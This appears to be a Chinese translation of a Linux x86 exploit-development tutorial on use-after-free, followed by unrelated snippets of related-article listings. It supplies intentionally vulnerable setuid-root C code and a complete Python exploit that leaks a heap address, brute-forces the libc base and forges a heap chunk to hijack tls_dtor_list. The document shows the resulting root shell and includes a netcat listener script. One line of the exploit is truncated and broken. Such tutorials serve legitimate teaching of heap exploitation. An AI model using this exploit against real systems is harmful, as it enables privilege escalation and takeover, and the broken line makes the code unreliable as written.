Linux (x86) Exploit 开发系列教程之十二 释放后使用

简介: 释放后使用 译者:飞龙 原文:Use-After-Free预备条件:Off-By-One 漏洞(基于栈)理解 glibc mallocVM 配置:Fedora 20(x86) 什么是释放后使用(UAF)?继续使用已经被释放的堆内存指针叫做释放后使用。

释放后使用

译者:飞龙

原文:Use-After-Free

预备条件:

  1. Off-By-One 漏洞(基于栈)
  2. 理解 glibc malloc

VM 配置:Fedora 20(x86)

什么是释放后使用(UAF)?

继续使用已经被释放的堆内存指针叫做释放后使用。这个漏洞会导致任意代码执行。

漏洞代码:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

 char* name = malloc(12); /* [1] */
 char* details = malloc(12); /* [2] */
 strncpy(name, argv[1], 12-1); /* [3] */
 free(details); /* [4] */
 free(name);  /* [5] */
 printf("Welcome %s\n",name); /* [6] */
 fflush(stdout);

 char* tmp = (char *) malloc(12); /* [7] */
 char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
 char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
 free(p2); /* [10] */
 char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
 char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

 printf("Enter your region\n");
 fflush(stdout);
 read(0,p2,BUFSIZE1-1); /* [13] */
 printf("Region:%s\n",p2); 
 free(p1); /* [14] */
}

编译命令:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意:不像上一篇文章,ASLR 在这里是打开的。所以现在让我们利用 UAF 漏洞,因为 ASLR 打开了,让我们使用信息泄露和爆破技巧来绕过它。

上面的漏洞代码包含两个 UAF 漏洞,位于行[6][13]。它们的堆内存在行[5][10]释放,但是它们的指针即使在释放后也使用,在行[6][13]。行[6]的UAF 会导致信息泄露,而行[13]的 UAF 导致任意代码执行。

什么是信息泄露?攻击者如何利用它?

在我们的漏洞代码(行[6])中,被泄露的信息是堆地址。这个泄露的对地址会帮助攻击者轻易计算出随机化堆段的基地址,因此绕过 ASLR。

为了理解堆地址如何泄露的,让我们首先理解漏洞代码的前半部分。

  • [1]name分配了 16 字节的堆内存区域。
  • [2]details分配了 16 字节的堆内存区域。
  • [3]将程序的参数 1(argv[1])复制到堆内存区域name中。
  • [4][5]将堆内存区域namedetails释放给 glibc malloc。
  • [6]printf在释放后使用name指针,这会导致堆地址的泄露。

阅读预备条件中的文章之后,我们知道,对应namedetails指针的块都是 fast 块,并且,当这些 fast 块被释放时,它们储存在 fast bin 的下标 0 处。我们也知道,每个 fast bin 都包含一个空闲块的单链表。因此对于我们的示例来说,fast bin 下标 0 处的单链表是这样:

main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

由于这个单链表。name的前四个字节包含details_chunk地址,因此在打印name时,details_chunk地址首先被打印。我们可以从堆布局中知道,details_chunk位于堆基址的 0x10 偏移处。因此从泄露的堆地址减去 0x10,我们就得到了堆的基址。

如何实现任意代码执行?

现在获得随机化堆段的基址之后,让我们看看如何通过理解漏洞代码的后半部分,来实现任意代码执行。

  • [7]tmp分配了 16 字节的堆内存区域。
  • [8]p1分配了 1024 字节的堆内存区域。
  • [9]p2分配了 1024 字节的堆内存区域。
  • [10]将堆内存区域p2释放给 glibc malloc。
  • [11]p2_1分配了 512 字节的堆内存区域。
  • [12]p2_2分配了 512 字节的堆内存区域。
  • [13]的读取在释放后使用了p2指针。
  • [14]将堆内存区域p1释放给 glibc malloc。这会在程序退出时导致任意代码执行。

阅读预备条件中的文章之后,我们知道,当p2释放给 glibc malloc 时,它会和 top 块合并。之后为p2_1请求内存时,它会从 top 块分配 – p2p2_1包含相同的堆地址。之后为p2_2请求内存时,它也从 top 块分配 – p2_2p2之后的 512 个字节。因此在行[13]中,p2指针在释放后使用时,攻击者控制的数据(最大 1019 字节)会复制到p2_1,它的大小只有 512 字节,因此剩余的攻击者数据会覆盖下一个块p2_2,允许攻击者覆盖下一个块头部的size字段。

堆布局:

1

我们在预备条件中的文章中看到,如果攻击者成功覆盖了下一个块的size字段的 LSB,它就可以欺骗 glibc malloc 来 unlink 块p2_1,即使它处于分配状态。在相同文章中,我们也看到,当攻击者精心构造伪造的块头部时,unlink 一个处于已分配状态的 large 块会导致任意代码执行。攻击者可以像这样构造伪造的块头部:

  • fd应该指向释放的块地址。从堆的布局中我们可以看到,p2_1位于偏移 0x410。所以fd = heap_base_address + 0x410heap_base_address从信息泄露的 bug 中获取。

  • bk也应该指向释放的块地址。从堆的布局中我们可以看到,p2_1位于偏移 0x410。所以fd = heap_base_address + 0x410heap_base_address从信息泄露的 bug 中获取。

  • fd_nextsize应该指向tls_dtor_list – 0x14tls_dtor_list属于 glibc 的私有匿名映射区段,它是随机化的。因此为了绕过这个随机化,让我们使用爆破技巧,就像下面的利用代码那样。

  • bk_nextsize应该指向堆内存,该内存包含dtor_list元素。systemdtor_list由攻击者注入在这个伪造的块头部后面,而setuiddtor_list由攻击者注入在p2_2堆内存区域内。从堆布局中我们了解到,systemsetuiddtor_list位于偏移 0x428 和 0x618 处。

使用所有这些信息,让我们编写利用程序来攻击漏洞二进制vuln

利用代码:

#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("<I
def send(data):
 global con
 con.write(data)
 return con.read_until('\n')

print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0

while True:
 time.sleep(4)
 con = telnetlib.Telnet(ip, port)
 laddress = con.read_until('\n')
 laddress = laddress[8:12]
 heap_addr_tup = struct.unpack("<I", laddress)
 heap_addr = heap_addr_tup[0]
 print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
 heap_base_addr = heap_addr - 0x10
 fd = heap_base_addr + 0x410
 bk = fd
 bk_nextsize = heap_base_addr + 0x618
 mp = heap_base_addr + 0x18
 nxt = heap_base_addr + 0x428

 print "** Constructing fake chunk to overwrite tls_dtor_list**"
 fake_chunk = conv(fd)
 fake_chunk += conv(bk)
 fake_chunk += conv(fd_nextsize)
 fake_chunk += conv(bk_nextsize)
 fake_chunk += conv(system)
 fake_chunk += conv(system_arg)
 fake_chunk += "A" * 484
 fake_chunk += conv(size)
 fake_chunk += conv(setuid)
 fake_chunk += conv(setuid_arg)
 fake_chunk += conv(mp)
 fake_chunk += conv(nxt)
 print "** Successful tls_dtor_list overwrite gives us shell!!**"
 send(fake_chunk)

 try: 
  con.interact()
 except: 
  exit(0)

由于在爆破技巧中,我们需要尝试多次(直到成功)。让我们将我们的漏洞二进制vuln运行为网络服务器,并使用 Shell 教程来确保崩溃时自动重启:

#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
 if [[ -z $nc_process_id ]]; then
 echo "(Re)starting nc..."
 nc -l -p 1234 -c "./vuln sploitfun"
 else
 echo "nc is running..."
 fi
done

执行上述利用代码会给我们 root shell。好的。

Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$

参考:

Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution

相关文章
|
2天前
|
Linux 编译器 Android开发
FFmpeg开发笔记(九)Linux交叉编译Android的x265库
在Linux环境下,本文指导如何交叉编译x265的so库以适应Android。首先,需安装cmake和下载android-ndk-r21e。接着,下载x265源码,修改crosscompile.cmake的编译器设置。配置x265源码,使用指定的NDK路径,并在配置界面修改相关选项。随后,修改编译规则,编译并安装x265,调整pc描述文件并更新PKG_CONFIG_PATH。最后,修改FFmpeg配置脚本启用x265支持,编译安装FFmpeg,将生成的so文件导入Android工程,调整gradle配置以确保顺利运行。
22 1
FFmpeg开发笔记(九)Linux交叉编译Android的x265库
|
18天前
|
Linux
linux下搭建tftp服务器教程
在Linux中搭建TFTP服务器,需安装`tftp-server`(如`tftpd-hpa`)。步骤包括:更新软件包列表,安装`tftpd-hpa`,启动并设置开机自启,配置服务器(编辑`/etc/default/tftpd-hpa`),添加选项,然后重启服务。完成后,可用`tftp`命令进行文件传输。例如,从IP`192.168.1.100`下载`file.txt`: ``` tftp 192.168.1.100 &lt;&lt;EOF binary put file.txt quit EOF ```
28 4
|
1月前
|
网络协议 Shell Linux
【Shell 命令集合 网络通讯 】Linux 设置和配置PPP pppsetup命令 使用教程
【Shell 命令集合 网络通讯 】Linux 设置和配置PPP pppsetup命令 使用教程
39 0
|
1月前
|
网络协议 Shell Linux
【Shell 命令集合 网络通讯 】Linux 创建网络连接 nc命令 使用教程
【Shell 命令集合 网络通讯 】Linux 创建网络连接 nc命令 使用教程
37 1
|
18天前
|
Linux API C语言
FFmpeg开发笔记(一)搭建Linux系统的开发环境
本文指导初学者如何在Linux上搭建FFmpeg开发环境。首先,由于FFmpeg依赖第三方库,可以免去编译源码的复杂过程,直接安装预编译的FFmpeg动态库。推荐网站<https://github.com/BtbN/FFmpeg-Builds/releases>提供适用于不同系统的FFmpeg包。但在安装前,需确保系统有不低于2.22版本的glibc库。详细步骤包括下载glibc-2.23源码,配置、编译和安装。接着,下载Linux版FFmpeg安装包,解压至/usr/local/ffmpeg,并设置环境变量。最后编写和编译简单的C或C++测试程序验证FFmpeg环境是否正确配置。
36 8
FFmpeg开发笔记(一)搭建Linux系统的开发环境
|
27天前
|
消息中间件 Linux 开发工具
Linux系统安装RabbitMQ详细教程
Linux系统安装RabbitMQ详细教程
18 0
|
1月前
|
存储 Shell Linux
【Shell 命令集合 网络通讯 】⭐Linux 显示当前系统的主机名和操作系统类型 uuname命令 使用教程
【Shell 命令集合 网络通讯 】⭐Linux 显示当前系统的主机名和操作系统类型 uuname命令 使用教程
29 0
|
1月前
|
Shell Linux C语言
【Shell 命令集合 网络通讯 】Linux 验证Samba配置文件 testparm命令 使用教程
【Shell 命令集合 网络通讯 】Linux 验证Samba配置文件 testparm命令 使用教程
35 0
|
NoSQL Linux Shell
Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
绕过 ASLR – 第三部分 译者:飞龙 原文:Bypassing ASLR – Part III 预备条件: 经典的基于栈的溢出 绕过 ASLR – 第一部分 VM 配置:Ubuntu 12.04 (x86) 在这篇文章中,让我们看看如何使用 GOT 覆盖和解引用技巧。
1312 0
|
3天前
|
机器学习/深度学习 缓存 监控
linux查看CPU、内存、网络、磁盘IO命令
`Linux`系统中,使用`top`命令查看CPU状态,要查看CPU详细信息,可利用`cat /proc/cpuinfo`相关命令。`free`命令用于查看内存使用情况。网络相关命令包括`ifconfig`(查看网卡状态)、`ifdown/ifup`(禁用/启用网卡)、`netstat`(列出网络连接,如`-tuln`组合)以及`nslookup`、`ping`、`telnet`、`traceroute`等。磁盘IO方面,`iostat`(如`-k -p ALL`)显示磁盘IO统计,`iotop`(如`-o -d 1`)则用于查看磁盘IO瓶颈。